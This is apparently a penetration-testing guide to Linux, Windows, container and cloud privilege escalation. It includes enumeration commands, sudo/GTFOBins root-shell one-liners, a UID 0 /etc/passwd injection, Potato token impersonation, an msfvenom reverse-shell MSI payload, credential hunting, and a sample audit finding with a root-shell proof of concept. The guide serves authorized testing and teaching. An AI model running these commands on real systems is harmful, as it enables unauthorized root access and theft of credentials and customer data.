Do not use without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.
Gather comprehensive information about the target system:
Linux Enumeration:
id && whoami - Current user and group membershipsuname -a - Kernel version for kernel exploit identificationcat /etc/os-release - Distribution and versionsudo -l - Commands the current user can run as root via sudofind / -perm -4000 -type f 2>/dev/null - SUID binariesfind / -perm -2000 -type f 2>/dev/null - SGID binariescrontab -l && ls -la /etc/cron* - Scheduled tasks running as rootps aux | grep root - Processes running as rootcat /etc/passwd - User accounts (look for additional users with UID 0)find / -writable -type d 2>/dev/null - World-writable directorieslinpeas.sh for automated comprehensive enumerationWindows Enumeration:
whoami /priv - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)systeminfo - OS version, hotfix level, architecturewmic service get name,pathname,startmode - Unquoted service pathsicacls "C:\Program Files" /T - Writable directories in Program Filesreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated - AlwaysInstallElevated checkcmdkey /list - Stored Windows credentialsschtasks /query /fo LIST /v - Scheduled tasks with their run-as accountswinPEAS.exe for automated comprehensive enumerationTest identified escalation vectors systematically:
sudo -l shows entries like (ALL) NOPASSWD: /usr/bin/vim, use GTFOBins to escalate:
sudo vim -c ':!/bin/bash' to spawn a root shellgetcap -r / 2>/dev/null to find binaries with elevated capabilities (cap_setuid, cap_dac_override)echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd
Test Windows-specific escalation paths:
SeImpersonatePrivilege (common for service accounts and IIS):
JuicyPotato.exe, PrintSpoofer.exe, or GodPotato.exe to impersonate SYSTEMPrintSpoofer.exe -i -c "cmd /c whoami" -> NT AUTHORITY\SYSTEM
C:\Program Files\My App\service.exe) and you can write to an intermediate directory:
C:\Program Files\My.exe which will execute when the service restartsmsfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi
cmdkey /list, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell historyTest for escalation paths in containerized and cloud environments:
--privileged), has the Docker socket mounted (/var/run/docker.sock), or has SYS_ADMIN capabilityhttp://169.254.169.254/latest/meta-data/) to discover IAM roles, credentials, and instance informationDocument the complete escalation path and business impact:
| Term | Definition |
|---|---|
| SUID Binary | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |
| SeImpersonatePrivilege | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |
| Kernel Exploit | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root/SYSTEM-level access |
| GTFOBins | A curated list of Unix binaries that can be exploited for privilege escalation, file read/write, or shell escape when misconfigured |
| LOLBAS | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |
| DLL Hijacking | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |
| Token Impersonation | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |
SeImpersonatePrivilege to achieve SYSTEM-level access from service accountsContext: During a penetration test, the tester gained a low-privilege shell as www-data on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.
Approach:
linpeas.sh which identifies that www-data can run /usr/bin/find as root via sudo without a passwordsudo -l: (root) NOPASSWD: /usr/bin/find
find sudo entry: sudo find . -exec /bin/bash -p \; -quit
/etc/shadow to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PIIPitfalls:
## Finding: Sudo Misconfiguration Allowing Root Escalation via find
**ID**: PRIV-001
**Severity**: Critical (CVSS 8.8)
**Affected Host**: web-prod-01 (10.10.5.15)
**OS**: Ubuntu 22.04 LTS
**Initial Access**: www-data (via PHP file upload - WEB-004)
**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching
**Description**:
The www-data user is configured in /etc/sudoers to execute /usr/bin/find as root
without a password. The find command supports the -exec flag which can spawn a
root shell, effectively granting www-data unrestricted root access.
**Proof of Concept**:
www-data@web-prod-01:~$ sudo -l
(root) NOPASSWD: /usr/bin/find
www-data@web-prod-01:~$ sudo find . -exec /bin/bash -p \; -quit
root@web-prod-01:~# id
uid=0(root) gid=0(root) groups=0(root)
**Impact**:
Full root access on the production web server. From root, the tester accessed
database credentials in /var/www/app/.env, connected to MySQL, and confirmed
read access to 75,000 customer records including names, emails, and addresses.
**Remediation**:
1. Remove the /usr/bin/find sudo entry for www-data
2. If find access is required, restrict it to specific directories with --no-exec
3. Audit all sudo entries for binaries listed in GTFOBins
4. Implement sudo logging with auditd for all privileged command execution